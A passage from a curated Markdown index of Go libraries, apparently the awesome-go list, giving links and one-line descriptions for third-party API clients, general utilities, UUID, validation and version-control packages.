- [amazon-product-advertising-api](https://github.com/ngs/go-amazon-product-advertising-api) - Go Client Library for [Amazon Product Advertising API](https://affiliate-program.amazon.com/gp/advertising/api/detail/main.html).
- [anaconda](https://github.com/ChimeraCoder/anaconda) - Go client library for the Twitter 1.1 API.
- [appstore-sdk-go](https://github.com/Kachit/appstore-sdk-go) - Unofficial Golang SDK for AppStore Connect API.
- [aws-sdk-go](https://github.com/aws/aws-sdk-go) - The official AWS SDK for the Go programming language.
- [bqwriter](https://github.com/OTA-Insight/bqwriter) - High Level Go Library to write data into [Google BigQuery](https://cloud.google.com/bigquery) at a high throughout.
- [brewerydb](https://github.com/naegelejd/brewerydb) - Go library for accessing the BreweryDB API.
- [cachet](https://github.com/andygrunwald/cachet) - Go client library for [Cachet (open source status page system)](https://cachethq.io/).
- [circleci](https://github.com/jszwedko/go-circleci) - Go client library for interacting with CircleCI's API.
- [clarifai](https://github.com/samuelcouch/clarifai) - Go client library for interfacing with the Clarifai API.
- [codeship-go](https://github.com/codeship/codeship-go) - Go client library for interacting with Codeship's API v2.
- [coinpaprika-go](https://github.com/coinpaprika/coinpaprika-api-go-client) - Go client library for interacting with Coinpaprika's API.
- [device-check-go](https://github.com/rinchsan/device-check-go) - Go client library for interacting with [iOS DeviceCheck API](https://developer.apple.com/documentation/devicecheck) v1.
- [discordgo](https://github.com/bwmarrin/discordgo) - Go bindings for the Discord Chat API.
- [dusupay-sdk-go](https://github.com/Kachit/dusupay-sdk-go) - Unofficial Dusupay payment gateway API Client for Go
- [ethrpc](https://github.com/onrik/ethrpc) - Go bindings for Ethereum JSON RPC API.
- [facebook](https://github.com/huandu/facebook) - Go Library that supports the Facebook Graph API.
- [fasapay-sdk-go](https://github.com/Kachit/fasapay-sdk-go) - Unofficial Fasapay payment gateway XML API Client for Golang.
- [fcm](https://github.com/maddevsio/fcm) - Go library for Firebase Cloud Messaging.
- [gads](https://github.com/emiddleton/gads) - Google Adwords Unofficial API.
- [gami](https://github.com/bit4bit/gami) - Go library for Asterisk Manager Interface.
- [gcm](https://github.com/Aorioli/gcm) - Go library for Google Cloud Messaging.
- [geo-golang](https://github.com/codingsince1985/geo-golang) - Go Library to access [Google Maps](https://developers.google.com/maps/documentation/geocoding/intro), [MapQuest](https://developer.mapquest.com/documentation/geocoding-api/), [Nominatim](https://developer.mapquest.com/documentation/open/nominatim-search), [OpenCage](https://opencagedata.com/api), [Bing](https://msdn.microsoft.com/en-us/library/ff701715.aspx), [Mapbox](https://www.mapbox.com/developers/api/geocoding/), and [OpenStreetMap](https://wiki.openstreetmap.org/wiki/Nominatim) geocoding / reverse geocoding APIs.
- [github](https://github.com/google/go-github) - Go library for accessing the GitHub REST API v3.
- [githubql](https://github.com/shurcooL/githubql) - Go library for accessing the GitHub GraphQL API v4.
- [go-atlassian](https://github.com/ctreminiom/go-atlassian) - Go library for accessing the [Atlassian Cloud](https://www.atlassian.com/enterprise/cloud) services (Jira, Jira Service Management, Jira Agile, Confluence, Admin Cloud)
- [go-aws-news](https://github.com/circa10a/go-aws-news) - Go application and library to fetch what's new from AWS.
- [go-chronos](https://github.com/axelspringer/go-chronos) - Go library for interacting with the [Chronos](https://mesos.github.io/chronos/) Job Scheduler
- [go-hacknews](https://github.com/PaulRosset/go-hacknews) - Tiny Go client for HackerNews API.
- [go-here](https://github.com/abdullahselek/go-here) - Go client library around the HERE location based APIs.
- [go-hibp](https://github.com/wneessen/go-hibp) - Simple Go binding to the "Have I Been Pwned" APIs.
- [go-imgur](https://github.com/koffeinsource/go-imgur) - Go client library for [imgur](https://imgur.com)
- [go-jira](https://github.com/andygrunwald/go-jira) - Go client library for [Atlassian JIRA](https://www.atlassian.com/software/jira)
- [go-lark](https://github.com/go-lark/lark) - An easy-to-use unofficial SDK for [Feishu](https://open.feishu.cn/) and [Lark](https://open.larksuite.com/) Open Platform.
- [go-marathon](https://github.com/gambol99/go-marathon) - Go library for interacting with Mesosphere's Marathon PAAS.
- [go-myanimelist](https://github.com/nstratos/go-myanimelist) - Go client library for accessing the [MyAnimeList API](https://myanimelist.net/apiconfig/references/api/v2).
- [go-openai](https://github.com/sashabaranov/go-openai) - OpenAI ChatGPT, DALL·E, Whisper API library for Go.
- [go-openproject](https://github.com/manuelbcd/go-openproject) - Go client library for interacting with [OpenProject](https://docs.openproject.org/api/) API.
- [go-postman-collection](https://github.com/rbretecher/go-postman-collection) - Go module to work with [Postman Collections](https://learning.getpostman.com/docs/postman/collections/creating-collections/) (compatible with Insomnia).
- [go-restcountries](https://github.com/chriscross0/go-restcountries) - Go library for the [REST Countries API](https://countrylayer.com/).
- [go-sophos](https://github.com/esurdam/go-sophos) - Go client library for the [Sophos UTM REST API](https://www.sophos.com/en-us/medialibrary/PDFs/documentation/UTMonAWS/Sophos-UTM-RESTful-API.pdf?la=en) with zero dependencies.
- [go-sptrans](https://github.com/sergioaugrod/go-sptrans) - Go client library for the SPTrans Olho Vivo API.
- [go-swagger-ui](https://github.com/esurdam/go-swagger-ui) - Go library containing precompiled [Swagger UI](https://swagger.io/tools/swagger-ui/) for serving swagger json.
- [go-telegraph](https://gitlab.com/toby3d/telegraph) - Telegraph publishing platform API client.
- [go-trending](https://github.com/andygrunwald/go-trending) - Go library for accessing [trending repositories](https://github.com/trending) and [developers](https://github.com/trending/developers) at Github.
- [go-twitter](https://github.com/dghubble/go-twitter) - Go client library for the Twitter v1.1 APIs.
- [go-unsplash](https://github.com/hbagdi/go-unsplash) - Go client library for the [Unsplash.com](https://unsplash.com) API.
- [go-xkcd](https://github.com/nishanths/go-xkcd) - Go client for the xkcd API.
- [go-yapla](https://git.iglou.eu/Production/go-yapla) - Go client library for the Yapla v2.0 API.
- [goagi](https://github.com/staskobzar/goagi) - Go library to build Asterisk PBX agi/fastagi applications.
- [goami2](https://github.com/staskobzar/goami2) - AMI v2 library for Asterisk PBX.
- [GoFreeDB](https://github.com/FreeLeh/GoFreeDB) - Golang library providing common and simple database abstractions on top of Google Sheets.
- [gogtrends](https://github.com/groovili/gogtrends) - Google Trends Unofficial API.
- [golang-tmdb](https://github.com/cyruzin/golang-tmdb) - Golang wrapper for The Movie Database API v3.
- [golyrics](https://github.com/mamal72/golyrics) - Golyrics is a Go library to fetch music lyrics data from the Wikia website.
- [gomalshare](https://github.com/MonaxGT/gomalshare) - Go library MalShare API [malshare.com](https://www.malshare.com/)
- [GoMusicBrainz](https://github.com/michiwend/gomusicbrainz) - Go MusicBrainz WS2 client library.
- [google](https://github.com/google/google-api-go-client) - Auto-generated Google APIs for Go.
- [google-analytics](https://github.com/chonthu/go-google-analytics) - Simple wrapper for easy google analytics reporting.
- [google-cloud](https://github.com/GoogleCloudPlatform/gcloud-golang) - Google Cloud APIs Go Client Library.
- [google-email-audit-api](https://github.com/ngs/go-google-email-audit-api) - Go client library for [Google G Suite Email Audit API](https://developers.google.com/admin-sdk/email-audit/).
- [google-play-scraper](https://github.com/n0madic/google-play-scraper) - Get data from Google Play Store.
- [gopaapi5](https://github.com/utekaravinash/gopaapi5) - Go Client Library for [Amazon Product Advertising API 5.0](https://webservices.amazon.com/paapi5/documentation/).
- [gosip](https://github.com/koltyakov/gosip) - Client library for SharePoint.
- [gostorm](https://github.com/jsgilmore/gostorm) - GoStorm is a Go library that implements the communications protocol required to write Storm spouts and Bolts in Go that communicate with the Storm shells.
- [hipchat](https://github.com/andybons/hipchat) - This project implements a golang client library for the Hipchat API.
- [hipchat (xmpp)](https://github.com/daneharrigan/hipchat) - A golang package to communicate with HipChat over XMPP.
- [igdb](https://github.com/Henry-Sarabia/igdb) - Go client for the [Internet Game Database API](https://api.igdb.com/).
- [jokeapi-go](https://github.com/icelain/jokeapi) - Go client for [JokeAPI](https://sv443.net/jokeapi/v2/).
- [lark](https://github.com/chyroc/lark) - [Feishu](https://open.feishu.cn/)/[Lark](https://open.larksuite.com/) Open API Go SDK, Support ALL Open API and Event Callback.
- [lastpass-go](https://github.com/ansd/lastpass-go) - Go client library for the [LastPass](https://www.lastpass.com/) API.
- [libgoffi](https://github.com/clevabit/libgoffi) - Library adapter toolbox for native [libffi](https://sourceware.org/libffi/) integration
- [Medium](https://github.com/Medium/medium-sdk-go) - Golang SDK for Medium's OAuth2 API.
- [megos](https://github.com/andygrunwald/megos) - Client library for accessing an [Apache Mesos](https://mesos.apache.org/) cluster.
- [minio-go](https://github.com/minio/minio-go) - Minio Go Library for Amazon S3 compatible cloud storage.
- [mixpanel](https://github.com/dukex/mixpanel) - Mixpanel is a library for tracking events and sending Mixpanel profile updates to Mixpanel from your go applications.
- [newsapi-go](https://github.com/jellydator/newsapi-go) - Go client for [NewsAPI](https://newsapi.org/).
- [openaigo](https://github.com/otiai10/openaigo) - OpenAI GPT3/GPT3.5 ChatGPT API client library for Go.
- [patreon-go](https://github.com/mxpv/patreon-go) - Go library for Patreon API.
- [paypal](https://github.com/logpacker/PayPal-Go-SDK) - Wrapper for PayPal payment API.
- [playlyfe](https://github.com/playlyfe/playlyfe-go-sdk) - The Playlyfe Rest API Go SDK.
- [pushover](https://github.com/gregdel/pushover) - Go wrapper for the Pushover API.
- [rawg-sdk-go](https://github.com/dimuska139/rawg-sdk-go) - Go library for the [RAWG Video Games Database](https://rawg.io/) API
- [rrdaclient](https://github.com/Omie/rrdaclient) - Go Library to access statdns.com API, which is in turn RRDA API. DNS Queries over HTTP.
- [shopify](https://github.com/rapito/go-shopify) - Go Library to make CRUD request to the Shopify API.
- [simples3](https://github.com/rhnvrm/simples3) - Simple no frills AWS S3 Library using REST with V4 Signing written in Go.
- [slack](https://github.com/slack-go/slack) - Slack API in Go.
- [smite](https://github.com/sergiotapia/smitego) - Go package to wraps access to the Smite game API.
- [spotify](https://github.com/rapito/go-spotify) - Go Library to access Spotify WEB API.
- [steam](https://github.com/sostronk/go-steam) - Go Library to interact with Steam game servers.
- [stripe](https://github.com/stripe/stripe-go) - Go client for the Stripe API.
- [swag](https://github.com/zc2638/swag) - No comments, simple go wrapper to create swagger 2.0 compatible APIs. Support most routing frameworks, such as built-in, gin, chi, mux, echo, httprouter, fasthttp and more.
- [textbelt](https://github.com/dietsche/textbelt) - Go client for the textbelt.com txt messaging API.
- [translate](https://github.com/poorny/translate) - Go online translation package.
- [Trello](https://github.com/adlio/trello) - Go wrapper for the Trello API.
- [TripAdvisor](https://github.com/mrbenosborne/tripadvisor-golang) - Go wrapper for the TripAdvisor API.
- [tumblr](https://github.com/mattcunningham/gumblr) - Go wrapper for the Tumblr v2 API.
- [twitter-scraper](https://github.com/n0madic/twitter-scraper) - Scrape the Twitter Frontend API without authentication and limits.
- [uptimerobot](https://github.com/bitfield/uptimerobot) - Go wrapper and command-line client for the Uptime Robot v2 API.
- [vl-go](https://github.com/verifid/vl-go) - Go client library around the VerifID identity verification layer API.
- [webhooks](https://github.com/go-playground/webhooks) - Webhook receiver for GitHub and Bitbucket.
- [wit-go](https://github.com/wit-ai/wit-go) - Go client for wit.ai HTTP API.
- [ynab](https://github.com/brunomvsouza/ynab.go) - Go wrapper for the YNAB API.
- [zooz](https://github.com/gojuno/go-zooz) - Go client for the Zooz API.
**[⬆ back to top](#contents)**
## Utilities
_General utilities and tools to make your life easier._
- [apm](https://github.com/topfreegames/apm) - Process manager for Golang applications with an HTTP API.
- [backscanner](https://github.com/icza/backscanner) - A scanner similar to bufio.Scanner, but it reads and returns lines in reverse order, starting at a given position and going backward.
- [beyond](https://github.com/wesovilabs/beyond) - The Go tool that will drive you to the AOP world!
- [blank](https://github.com/Henry-Sarabia/blank) - Verify or remove blanks and whitespace from strings.
- [bleep](https://github.com/sinhashubham95/bleep) - Perform any number of actions on any set of OS signals in Go.
- [boilr](https://github.com/tmrts/boilr) - Blazingly fast CLI tool for creating projects from boilerplate templates.
- [changie](https://github.com/miniscruff/changie) - Automated changelog tool for preparing releases with lots of customization options.
- [chyle](https://github.com/antham/chyle) - Changelog generator using a git repository with multiple configuration possibilities.
- [circuit](https://github.com/cep21/circuit) - An efficient and feature complete Hystrix like Go implementation of the circuit breaker pattern.
- [circuitbreaker](https://github.com/rubyist/circuitbreaker) - Circuit Breakers in Go.
- [clipboard](https://github.com/golang-design/clipboard) - 📋 cross-platform clipboard package in Go.
- [clockwork](https://github.com/jonboulle/clockwork) - A simple fake clock for golang.
- [cmd](https://github.com/SimonBaeumer/cmd) - Library for executing shell commands on osx, windows and linux.
- [command](https://github.com/txgruppi/command) - Command pattern for Go with thread safe serial and parallel dispatcher.
- [contextplus](https://github.com/contextplus/contextplus) - Package contextplus provide more easy to use functions for contexts.
- [copy](https://github.com/gotidy/copy) - Package for fast copying structs of different types.
- [copy-pasta](https://github.com/jutkko/copy-pasta) - Universal multi-workstation clipboard that uses S3 like backend for the storage.
- [countries](https://github.com/biter777/countries) - Full implementation of ISO-3166-1, ISO-4217, ITU-T E.164, Unicode CLDR and IANA ccTLD standards.
- [countries](https://github.com/pioz/countries) - All you need when you are working with countries in Go.
- [create-go-app](https://github.com/create-go-app/cli) - A powerful CLI for create a new production-ready project with backend (Golang), frontend (JavaScript, TypeScript) & deploy automation (Ansible, Docker) by running one command.
- [cryptgo](https://github.com/Gituser143/cryptgo) - Crytpgo is a TUI based application written purely in Go to monitor and observe cryptocurrency prices in real time!
- [ctop](https://github.com/bcicen/ctop) - [Top-like](https://ctop.sh) interface (e.g. htop) for container metrics.
- [ctxutil](https://github.com/posener/ctxutil) - A collection of utility functions for contexts.
- [cvt](https://github.com/shockerli/cvt) - Easy and safe convert any value to another type.
- [dbt](https://github.com/nikogura/dbt) - A framework for running self-updating signed binaries from a central, trusted repository.
- [Death](https://github.com/vrecan/death) - Managing go application shutdown with signals.
- [Deepcopier](https://github.com/ulule/deepcopier) - Simple struct copying for Go.
- [delve](https://github.com/derekparker/delve) - Go debugger.
- [dive](https://github.com/wagoodman/dive) - A tool for exploring each layer in a Docker image.
- [dlog](https://github.com/kirillDanshin/dlog) - Compile-time controlled logger to make your release smaller without removing debug calls.
- [EaseProbe](https://github.com/megaease/easeprobe) - A simple, standalone, and lightWeight tool that can do health/status checking daemon, support HTTP/TCP/SSH/Shell/Client/... probes, and Slack/Discord/Telegram/SMS... notification.
- [equalizer](https://github.com/reugn/equalizer) - Quota manager and rate limiter collection for Go.
- [ergo](https://github.com/cristianoliveira/ergo) - The management of multiple local services running over different ports made easy.
- [evaluator](https://github.com/nullne/evaluator) - Evaluate an expression dynamically based on s-expression. It's simple and easy to extend.
- [filetype](https://github.com/h2non/filetype) - Small package to infer the file type checking the magic numbers signature.
- [filler](https://github.com/yaronsumel/filler) - small utility to fill structs using "fill" tag.
- [filter](https://github.com/gookit/filter) - provide filtering, sanitizing, and conversion of Go data.
- [fzf](https://github.com/junegunn/fzf) - Command-line fuzzy finder written in Go.
- [generate](https://github.com/go-playground/generate) - runs go generate recursively on a specified path or environment variable and can filter by regex.
- [ghokin](https://github.com/antham/ghokin) - Parallelized formatter with no external dependencies for gherkin (cucumber, behat...).
- [git-time-metric](https://github.com/git-time-metric/gtm) - Simple, seamless, lightweight time tracking for Git.
- [gitbatch](https://github.com/isacikgoz/gitbatch) - manage your git repositories in one place.
- [go-actuator](https://github.com/sinhashubham95/go-actuator) - Production ready features for Go based web frameworks.
- [go-astitodo](https://github.com/asticode/go-astitodo) - Parse TODOs in your GO code.
- [go-bind-plugin](https://github.com/wendigo/go-bind-plugin) - go:generate tool for wrapping symbols exported by golang plugins (1.8 only).
- [go-bsdiff](https://github.com/gabstv/go-bsdiff) - Pure Go bsdiff and bspatch libraries and CLI tools.
- [go-clip](https://github.com/prashantgupta24/go-clip) - A minimalistic clipboard manager for Mac.
- [go-convert](https://github.com/Eun/go-convert) - Package go-convert enables you to convert a value into another type.
- [go-countries](https://github.com/mikekonan/go-countries) - Lightweight lookup over ISO-3166 codes.
- [go-dry](https://github.com/ungerik/go-dry) - DRY (don't repeat yourself) package for Go.
- [go-funk](https://github.com/thoas/go-funk) - Modern Go utility library which provides helpers (map, find, contains, filter, chunk, reverse, ...).
- [go-health](https://github.com/Talento90/go-health) - Health package simplifies the way you add health check to your services.
- [go-httpheader](https://github.com/mozillazg/go-httpheader) - Go library for encoding structs into Header fields.
- [go-lock](https://github.com/viney-shih/go-lock) - go-lock is a lock library implementing read-write mutex and read-write trylock without starvation.
- [go-pkg](https://github.com/chenquan/go-pkg) - A go toolkit.
- [go-problemdetails](https://github.com/mvmaasakkers/go-problemdetails) - Go package for working with Problem Details.
- [go-rate](https://github.com/beefsack/go-rate) - Timed rate limiter for Go.
- [go-sitemap-generator](https://github.com/ikeikeikeike/go-sitemap-generator) - XML Sitemap generator written in Go.
- [go-trigger](https://github.com/sadlil/go-trigger) - Go-lang global event triggerer, Register Events with an id and trigger the event from anywhere from your project.
- [go-type](https://github.com/mikekonan/go-types) - Library providing Go types for store/validation and transfer of ISO-4217, ISO-3166, and other types.
- [goback](https://github.com/carlescere/goback) - Go simple exponential backoff package.
- [goctx](https://github.com/zerosnake0/goctx) - Get your context value with high performance.
- [godaemon](https://github.com/VividCortex/godaemon) - Utility to write daemons.
- [godropbox](https://github.com/dropbox/godropbox) - Common libraries for writing Go services/applications from Dropbox.
- [gofn](https://github.com/tiendc/gofn) - High performance utitlity functions written using Generics for Go 1.18+.
- [gohper](https://github.com/cosiner/gohper) - Various tools/modules help for development.
- [golarm](https://github.com/msempere/golarm) - Fire alarms with system events.
- [golog](https://github.com/mlimaloureiro/golog) - Easy and lightweight CLI tool to time track your tasks.
- [gopencils](https://github.com/bndr/gopencils) - Small and simple package to easily consume REST APIs.
- [goplaceholder](https://github.com/michiwend/goplaceholder) - a small golang lib to generate placeholder images.
- [goreadability](https://github.com/philipjkim/goreadability) - Webpage summary extractor using Facebook Open Graph and arc90's readability.
- [goreleaser](https://github.com/goreleaser/goreleaser) - Deliver Go binaries as fast and easily as possible.
- [goreporter](https://github.com/wgliang/goreporter) - Golang tool that does static analysis, unit testing, code review and generate code quality report.
- [goseaweedfs](https://github.com/linxGnu/goseaweedfs) - SeaweedFS client library with almost full features.
- [gostrutils](https://github.com/ik5/gostrutils) - Collections of string manipulation and conversion functions.
- [gotenv](https://github.com/subosito/gotenv) - Load environment variables from `.env` or any `io.Reader` in Go.
- [goval](https://github.com/maja42/goval) - Evaluate arbitrary expressions in Go.
- [gpath](https://github.com/tenntenn/gpath) - Library to simplify access struct fields with Go's expression in reflection.
- [graterm](https://github.com/skovtunenko/graterm) - Provides primitives to perform ordered (sequential/concurrent) GRAceful TERMination (aka shutdown) in Go application.
- [grofer](https://github.com/pesos/grofer) - A system and resource monitoring tool written in Golang!
- [gubrak](https://github.com/novalagung/gubrak) - Golang utility library with syntactic sugar. It's like lodash, but for golang.
- [handy](https://github.com/miguelpragier/handy) - Many utilities and helpers like string handlers/formatters and validators.
- [hostctl](https://github.com/guumaster/hostctl) - A CLI tool to manage /etc/hosts with easy commands.
- [htcat](https://github.com/htcat/htcat) - Parallel and Pipelined HTTP GET Utility.
- [hub](https://github.com/github/hub) - wrap git commands with additional functionality to interact with github from the terminal.
- [hystrix-go](https://github.com/afex/hystrix-go) - Implements Hystrix patterns of programmer-defined fallbacks aka circuit breaker.
- [immortal](https://github.com/immortal/immortal) - \*nix cross-platform (OS agnostic) supervisor.
- [intrinsic](https://github.com/mengzhuo/intrinsic) - Use x86 SIMD without writing any assembly code.
- [jsend](https://github.com/clevergo/jsend) - JSend's implementation written in Go.
- [jump](https://github.com/gsamokovarov/jump) - Jump helps you navigate faster by learning your habits.
- [just](https://github.com/kazhuravlev/just) - Just a collection of useful functions for working with generic data structures.
- [koazee](https://github.com/wesovilabs/koazee) - Library inspired in Lazy evaluation and functional programming that takes the hassle out of working with arrays.
- [lancet](https://github.com/duke-git/lancet) - A comprehensive, efficient, and reusable util function library of go.
- [lets-go](https://github.com/aplescia-chwy/lets-go) - Go module that provides common utilities for Cloud Native REST API development. Also contains AWS Specific utilities.
- [limiters](https://github.com/mennanov/limiters) - Rate limiters for distributed applications in Golang with configurable back-ends and distributed locks.
- [lo](https://github.com/samber/lo) - A Lodash like Go library based on Go 1.18+ Generics (map, filter, contains, find...)
- [loncha](https://github.com/kazu/loncha) - A high-performance slice Utilities.
- [lrserver](https://github.com/jaschaephraim/lrserver) - LiveReload server for Go.
- [mani](https://github.com/alajmo/mani) - CLI tool to help you manage multiple repositories.
- [mc](https://github.com/minio/mc) - Minio Client provides minimal tools to work with Amazon S3 compatible cloud storage and filesystems.
- [mergo](https://github.com/imdario/mergo) - Helper to merge structs and maps in Golang. Useful for configuration default values, avoiding messy if-statements.
- [mimemagic](https://github.com/zRedShift/mimemagic) - Pure Go ultra performant MIME sniffing library/utility.
- [mimesniffer](https://github.com/aofei/mimesniffer) - A MIME type sniffer for Go.
- [mimetype](https://github.com/gabriel-vasile/mimetype) - Package for MIME type detection based on magic numbers.
- [minify](https://github.com/tdewolff/minify) - Fast minifiers for HTML, CSS, JS, XML, JSON and SVG file formats.
- [minquery](https://github.com/icza/minquery) - MongoDB / mgo.v2 query that supports efficient pagination (cursors to continue listing documents where we left off).
- [moldova](https://github.com/StabbyCutyou/moldova) - Utility for generating random data based on an input template.
- [mole](https://github.com/davrodpin/mole) - cli app to easily create ssh tunnels.
- [mongo-go-pagination](https://github.com/gobeam/mongo-go-pagination) - Mongodb Pagination for official mongodb/mongo-go-driver package which supports both normal queries and Aggregation pipelines.
- [mssqlx](https://github.com/linxGnu/mssqlx) - Database client library, proxy for any master slave, master master structures. Lightweight and auto balancing in mind.
- [multitick](https://github.com/VividCortex/multitick) - Multiplexor for aligned tickers.
- [myhttp](https://github.com/inancgumus/myhttp) - Simple API to make HTTP GET requests with timeout support.
- [netbug](https://github.com/e-dard/netbug) - Easy remote profiling of your services.
- [nfdump](https://github.com/chrispassas/nfdump) - Read nfdump netflow files.
- [nostromo](https://github.com/pokanop/nostromo) - CLI for building powerful aliases.
- [objwalker](https://github.com/rekby/objwalker) - Walk by go objects with reflection.
- [okrun](https://github.com/xta/okrun) - go run error steamroller.
- [olaf](https://github.com/btnguyen2k/olaf) - Twitter Snowflake implemented in Go.
- [onecache](https://github.com/adelowo/onecache) - Caching library with support for multiple backend stores (Redis, Memcached, filesystem etc).
- [panicparse](https://github.com/maruel/panicparse) - Groups similar goroutines and colorizes stack dump.
- [pattern-match](https://github.com/alexpantyukhin/go-pattern-match) - Pattern matching library.
- [peco](https://github.com/peco/peco) - Simplistic interactive filtering tool.
- [pgo](https://github.com/arthurkushman/pgo) - Convenient functions for PHP community.
- [pm](https://github.com/VividCortex/pm) - Process (i.e. goroutine) manager with an HTTP API.
- [pointer](https://github.com/xorcare/pointer) - Package pointer contains helper routines for simplifying the creation of optional fields of basic type.
- [ptr](https://github.com/gotidy/ptr) - Package that provide functions for simplified creation of pointers from constants of basic types.
- [rclient](https://github.com/zpatrick/rclient) - Readable, flexible, simple-to-use client for REST APIs.
- [reflectutils](https://github.com/muir/reflectutils) - Helpers for working with reflection: struct tag parsing; recursive walking; fill value from string.
- [remote-touchpad](https://github.com/Unrud/remote-touchpad) - Control mouse and keyboard from a smartphone.
- [repeat](https://github.com/ssgreg/repeat) - Go implementation of different backoff strategies useful for retrying operations and heartbeating.
- [request](https://github.com/mozillazg/request) - Go HTTP Requests for Humans™.
- [rerun](https://github.com/ivpusic/rerun) - Recompiling and rerunning go apps when source changes.
- [rest-go](https://github.com/edermanoel94/rest-go) - A package that provide many helpful methods for working with rest api.
- [retry](https://github.com/kamilsk/retry) - The most advanced functional mechanism to perform actions repetitively until successful.
- [retry](https://github.com/percolate/retry) - A simple but highly configurable retry package for Go.
- [retry](https://github.com/thedevsaddam/retry) - Simple and easy retry mechanism package for Go.
- [retry](https://github.com/shafreeck/retry) - A pretty simple library to ensure your work to be done.
- [retry-go](https://github.com/avast/retry-go) - Simple library for retry mechanism.
- [retry-go](https://github.com/rafaeljesus/retry-go) - Retrying made simple and easy for golang.
- [robustly](https://github.com/VividCortex/robustly) - Runs functions resiliently, catching and restarting panics.
- [rospo](https://github.com/ferama/rospo) - Simple and reliable ssh tunnels with embedded ssh server in Golang.
- [scan](https://github.com/blockloop/scan) - Scan golang `sql.Rows` directly to structs, slices, or primitive types.
- [scan](https://github.com/wroge/scan) - Scan sql rows into any type powered by generics.
- [scany](https://github.com/georgysavva/scany) - Library for scanning data from a database into Go structs and more.
- [serve](https://github.com/syntaqx/serve) - A static http server anywhere you need.
- [set](https://github.com/nofeaturesonlybugs/set) - Performant and flexible struct mapping and loose type conversion.
- [shutdown](https://github.com/ztrue/shutdown) - App shutdown hooks for `os.Signal` handling.
- [silk](https://github.com/chrispassas/silk) - Read silk netflow files.
- [slice](https://github.com/psampaz/slice) - Type-safe functions for common Go slice operations.
- [sliceconv](https://github.com/Henry-Sarabia/sliceconv) - Slice conversion between primitive types.
- [slicer](https://github.com/leaanthony/slicer) - Makes working with slices easier.
- [sorty](https://github.com/jfcg/sorty) - Fast Concurrent / Parallel Sorting.
- [sqlx](https://github.com/jmoiron/sqlx) - provides a set of extensions on top of the excellent built-in database/sql package.
- [sshman](https://github.com/shoobyban/sshman) - SSH Manager for authorized_keys files on multiple remote servers.
- [statiks](https://github.com/janiltonmaciel/statiks) - Fast, zero-configuration, static HTTP filer server.
- [Storm](https://github.com/asdine/storm) - Simple and powerful toolkit for BoltDB.
- [structs](https://github.com/PumpkinSeed/structs) - Implement simple functions to manipulate structs.
- [throttle](https://github.com/yudppp/throttle) - Throttle is an object that will perform exactly one action per duration.
- [tik](https://github.com/andy2046/tik) - Simple and easy timing wheel package for Go.
- [tome](https://github.com/cyruzin/tome) - Tome was designed to paginate simple RESTful APIs.
- [toolbox](https://github.com/viant/toolbox) - Slice, map, multimap, struct, function, data conversion utilities. Service router, macro evaluator, tokenizer.
- [ugo](https://github.com/alxrm/ugo) - ugo is slice toolbox with concise syntax for Go.
- [UNIS](https://github.com/esemplastic/unis) - Common Architecture™ for String Utilities in Go.
- [usql](https://github.com/knq/usql) - usql is a universal command-line interface for SQL databases.
- [util](https://github.com/shomali11/util) - Collection of useful utility functions. (strings, concurrency, manipulations, ...).
- [watchhttp](https://github.com/nikolaydubina/watchhttp) - Run command periodically and expose latest STDOUT or its rich delta as HTTP endpoint.
- [wifiqr](https://github.com/reugn/wifiqr) - Wi-Fi QR Code Generator.
- [wuzz](https://github.com/asciimoo/wuzz) - Interactive cli tool for HTTP inspection.
- [xferspdy](https://github.com/monmohan/xferspdy) - Xferspdy provides binary diff and patch library in golang.
- [yogo](https://github.com/antham/yogo) - Check yopmail mails from command line.
**[⬆ back to top](#contents)**
## UUID
_Libraries for working with UUIDs._
- [goid](https://github.com/jakehl/goid) - Generate and Parse RFC4122 compliant V4 UUIDs.
- [gouid](https://github.com/twharmon/gouid) - Generate cryptographically secure random string IDs with just one allocation.
- [nanoid](https://github.com/aidarkhanov/nanoid) - A tiny and efficient Go unique string ID generator.
- [sno](https://github.com/muyo/sno) - Compact, sortable and fast unique IDs with embedded metadata.
- [ulid](https://github.com/oklog/ulid) - Go implementation of ULID (Universally Unique Lexicographically Sortable Identifier).
- [uniq](https://gitlab.com/skilstak/code/go/uniq) - No hassle safe, fast unique identifiers with commands.
- [uuid](https://github.com/agext/uuid) - Generate, encode, and decode UUIDs v1 with fast or cryptographic-quality random node identifier.
- [uuid](https://github.com/gofrs/uuid) - Implementation of Universally Unique Identifier (UUID). Supports both creation and parsing of UUIDs. Actively maintained fork of satori uuid.
- [uuid](https://github.com/google/uuid) - Go package for UUIDs based on RFC 4122 and DCE 1.1: Authentication and Security Services.
- [wuid](https://github.com/edwingeng/wuid) - An extremely fast globally unique number generator.
- [xid](https://github.com/rs/xid) - Xid is a globally unique id generator library, ready to be safely used directly in your server code.
**[⬆ back to top](#contents)**
## Validation
_Libraries for validation._
- [checkdigit](https://github.com/osamingo/checkdigit) - Provide check digit algorithms (Luhn, Verhoeff, Damm) and calculators (ISBN, EAN, JAN, UPC, etc.).
- [gody](https://github.com/guiferpa/gody) - :balloon: A lightweight struct validator for Go.
- [govalid](https://github.com/twharmon/govalid) - Fast, tag-based validation for structs.
- [govalidator](https://github.com/asaskevich/govalidator) - Validators and sanitizers for strings, numerics, slices and structs.
- [govalidator](https://github.com/thedevsaddam/govalidator) - Validate Golang request data with simple rules. Highly inspired by Laravel's request validation.
- [jio](https://github.com/faceair/jio) - jio is a json schema validator similar to [joi](https://github.com/hapijs/joi).
- [ozzo-validation](https://github.com/go-ozzo/ozzo-validation) - Supports validation of various data types (structs, strings, maps, slices, etc.) with configurable and extensible validation rules specified in usual code constructs instead of struct tags.
- [validate](https://github.com/gookit/validate) - Go package for data validation and filtering. support validate Map, Struct, Request(Form, JSON, url.Values, Uploaded Files) data and more features.
- [validate](https://github.com/gobuffalo/validate) - This package provides a framework for writing validations for Go applications.
- [validator](https://github.com/go-playground/validator) - Go Struct and Field validation, including Cross Field, Cross Struct, Map, Slice and Array diving.
- [Validator](https://github.com/go-the-way/validator) - A lightweight model validator written in Go.Contains VFs:Min, Max, MinLength, MaxLength, Length, Enum, Regex.
- [valix](https://github.com/marrow16/valix) Go package for validating requests
**[⬆ back to top](#contents)**
## Version Control
_Libraries for version control._
- [cli](https://gitlab.com/gitlab-org/cli) - An open-source GitLab command line tool bringing GitLab's cool features to your command line.
- [froggit-go](https://github.com/jfrog/froggit-go) - Froggit-Go is a Go library, allowing to perform actions on VCS providers.
- [gh](https://github.com/rjeczalik/gh) - Scriptable server and net/http middleware for GitHub Webhooks.
- [git2go](https://github.com/libgit2/git2go) - Go bindings for libgit2.
- [githooks](https://github.com/gabyx/githooks) - Per-repo and shared Git hooks with version control and auto update.
- [go-git](https://github.com/go-git/go-git) - highly extensible Git implementation in pure Go.
